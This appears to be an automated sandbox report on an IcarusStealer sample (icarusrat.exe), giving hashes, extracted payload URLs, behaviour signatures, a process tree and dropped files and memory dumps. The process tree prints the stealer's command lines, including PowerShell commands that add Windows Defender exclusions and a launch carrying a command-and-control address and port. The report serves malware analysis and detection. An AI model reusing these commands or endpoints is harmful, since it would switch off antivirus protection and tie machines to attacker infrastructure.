Overview

overview

10

Static

static

3

icarusrat.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    49s
  • max time network
    52s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    08/09/2024, 02:15

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General

  • Target

    icarusrat.exe

  • Size

    494KB

  • MD5

    8b224b1367f48a83f22531a0622b898a

  • SHA1

    d55eeef2fd794a7ccd4e60208a28d27332e8c529

  • SHA256

    953d664dda34fa46eed4ec0674856943fe799c8ccfa5929d12693147848f40e9

  • SHA512

    f981c5a1f25e78bc3080b5d3c9eeddcbe3dcc5f58e7d896b7e5df8ca51c665d93fd91590d82fcdcd149c99456a0d11048e199e2e14055e5c1da75265cdc3fa6b

  • SSDEEP

    12288:niu7AuLut6N6LqQzJqkKAulc84bYBbuB1t4cWWzDKuVAccIpGNJ+QN:niL/6N6LqQzJqkq

Score
10/10
icarusstealerdiscoveryexecutionpersistencestealer

Malware Config

Extracted

Family

icarusstealer

Attributes
  • payload_url

    https://blackhatsec.org/add.jpg

    https://blackhatsec.org/remove.jpg

Signatures

  • IcarusStealer

    Icarus is a modular stealer written in C# First adverts in July 2022.

    stealericarusstealer
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious use of SetThreadContext 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 22 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
    adwarespyware
  • Modifies registry class 35 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 27 IoCs
  • Suspicious use of FindShellTrayWindow 49 IoCs
  • Suspicious use of SendNotifyMessage 21 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\icarusrat.exe
    "C:\Users\Admin\AppData\Local\Temp\icarusrat.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:4860
    • C:\Windows\explorer.exe
      "C:\Windows\explorer.exe"
      2⤵
      • Boot or Logon Autostart Execution: Active Setup
      • Enumerates connected drives
      • Checks SCSI registry key(s)
      • Modifies registry class
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:3084
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" ICARUS_Client 147.185.221 37029 vUiuCXqqM
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4968
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe & exit
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:412
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:5072
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath cvtres.exe & exit
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3188
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath cvtres.exe
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1072
  • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
    "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
    1⤵
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:3256
  • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
    "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:948

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
    Filesize

    2KB

    MD5

    3d086a433708053f9bf9523e1d87a4e8

    SHA1

    b3ab5d4f282a4c8fe8c3005b8a557ed5a0e37f28

    SHA256

    6f8fd1b8d9788ad54eaeee329232187e24b7b43393a01aeba2d6e9675231fb69

    SHA512

    931ae42b4c68a4507ff2342332b08eb407050d47cf4176137ea022d0f6e513c689e998445a04c6d18d4877391705c586bfce0234632b898d41aaed0957996dfd

    Download Submit

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    Filesize

    16KB

    MD5

    842ef4f943c66436ba2f0dd4e0a7c3d5

    SHA1

    0db50b580cf2bb41d558b132e03f580cbb2d3bc7

    SHA256

    d3fce8e692f205f81314dd0d6f9e5b923c00fdfb7bca667f6b9c15fea42a2656

    SHA512

    8abd10fec8939bf8c6b3d7d7232247710866a57e1cafdd4d3c6db1b7b51bf193dde4a15708947425caaa7c09cfa94ad237ece84338be187aff816dcd6576c12b

    Download Submit

  • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133702353579831458.txt
    Filesize

    74KB

    MD5

    5d1edfca414b046fefb13e380148f4e6

    SHA1

    67043946770e46cdeb2fcb67e5fd92c30d9b31d2

    SHA256

    38a2d46768a4e4a3f10f9690a0bc92edbfd22ce5593d53d5f1b95c085930b388

    SHA512

    1d346ca77f2a2a59c7123e874d2d6d7df4ac8996a7d5c9c6b8b453091137fc3cbcd6f2cf3e3ea1c225fffa8cb5e9e9c5a4a07e149cbdcc1beea7ac35af556b35

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nkeucfuv.l00.ps1
    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    Download Submit

  • memory/948-80-0x000002ABA43C0000-0x000002ABA43E0000-memory.dmp

    Filesize

    128KB

    Download

  • memory/948-103-0x000002ABA4790000-0x000002ABA47B0000-memory.dmp

    Filesize

    128KB

    Download

  • memory/948-91-0x000002ABA4380000-0x000002ABA43A0000-memory.dmp

    Filesize

    128KB

    Download

  • memory/1072-47-0x0000000006580000-0x000000000659E000-memory.dmp

    Filesize

    120KB

    Download

  • memory/1072-60-0x0000000007310000-0x000000000732A000-memory.dmp

    Filesize

    104KB

    Download

  • memory/1072-65-0x0000000007550000-0x0000000007564000-memory.dmp

    Filesize

    80KB

    Download

  • memory/1072-11-0x0000000005240000-0x0000000005868000-memory.dmp

    Filesize

    6.2MB

    Download

  • memory/1072-64-0x0000000007540000-0x000000000754E000-memory.dmp

    Filesize

    56KB

    Download

  • memory/1072-62-0x0000000007580000-0x0000000007616000-memory.dmp

    Filesize

    600KB

    Download

  • memory/1072-59-0x0000000007960000-0x0000000007FDA000-memory.dmp

    Filesize

    6.5MB

    Download

  • memory/1072-58-0x0000000006FC0000-0x0000000007063000-memory.dmp

    Filesize

    652KB

    Download

  • memory/1072-25-0x00000000059F0000-0x0000000005D44000-memory.dmp

    Filesize

    3.3MB

    Download

  • memory/1072-37-0x0000000070550000-0x000000007059C000-memory.dmp

    Filesize

    304KB

    Download

  • memory/1072-36-0x0000000006F80000-0x0000000006FB2000-memory.dmp

    Filesize

    200KB

    Download

  • memory/3084-73-0x0000000003060000-0x0000000003061000-memory.dmp

    Filesize

    4KB

    Download

  • memory/4860-3-0x0000000005260000-0x00000000052F2000-memory.dmp

    Filesize

    584KB

    Download

  • memory/4860-0-0x00000000750DE000-0x00000000750DF000-memory.dmp

    Filesize

    4KB

    Download

  • memory/4860-2-0x00000000051C0000-0x000000000525C000-memory.dmp

    Filesize

    624KB

    Download

  • memory/4860-6-0x00000000750D0000-0x0000000075880000-memory.dmp

    Filesize

    7.7MB

    Download

  • memory/4860-179-0x00000000750D0000-0x0000000075880000-memory.dmp

    Filesize

    7.7MB

    Download

  • memory/4860-1-0x00000000008E0000-0x0000000000962000-memory.dmp

    Filesize

    520KB

    Download

  • memory/4968-4-0x0000000000400000-0x0000000000424000-memory.dmp

    Filesize

    144KB

    Download

  • memory/4968-9-0x00000000061F0000-0x0000000006794000-memory.dmp

    Filesize

    5.6MB

    Download

  • memory/4968-7-0x00000000750D0000-0x0000000075880000-memory.dmp

    Filesize

    7.7MB

    Download

  • memory/4968-214-0x00000000750D0000-0x0000000075880000-memory.dmp

    Filesize

    7.7MB

    Download

  • memory/4968-8-0x00000000750D0000-0x0000000075880000-memory.dmp

    Filesize

    7.7MB

    Download

  • memory/5072-48-0x0000000070550000-0x000000007059C000-memory.dmp

    Filesize

    304KB

    Download

  • memory/5072-67-0x0000000007440000-0x0000000007448000-memory.dmp

    Filesize

    32KB

    Download

  • memory/5072-66-0x0000000007450000-0x000000000746A000-memory.dmp

    Filesize

    104KB

    Download

  • memory/5072-63-0x0000000007320000-0x0000000007331000-memory.dmp

    Filesize

    68KB

    Download

  • memory/5072-61-0x00000000071A0000-0x00000000071AA000-memory.dmp

    Filesize

    40KB

    Download

  • memory/5072-34-0x0000000005DD0000-0x0000000005DEE000-memory.dmp

    Filesize

    120KB

    Download

  • memory/5072-35-0x0000000005E10000-0x0000000005E5C000-memory.dmp

    Filesize

    304KB

    Download

  • memory/5072-13-0x0000000005630000-0x0000000005696000-memory.dmp

    Filesize

    408KB

    Download

  • memory/5072-14-0x00000000056A0000-0x0000000005706000-memory.dmp

    Filesize

    408KB

    Download

  • memory/5072-12-0x0000000004F20000-0x0000000004F42000-memory.dmp

    Filesize

    136KB

    Download

  • memory/5072-10-0x0000000002810000-0x0000000002846000-memory.dmp

    Filesize

    216KB

    Download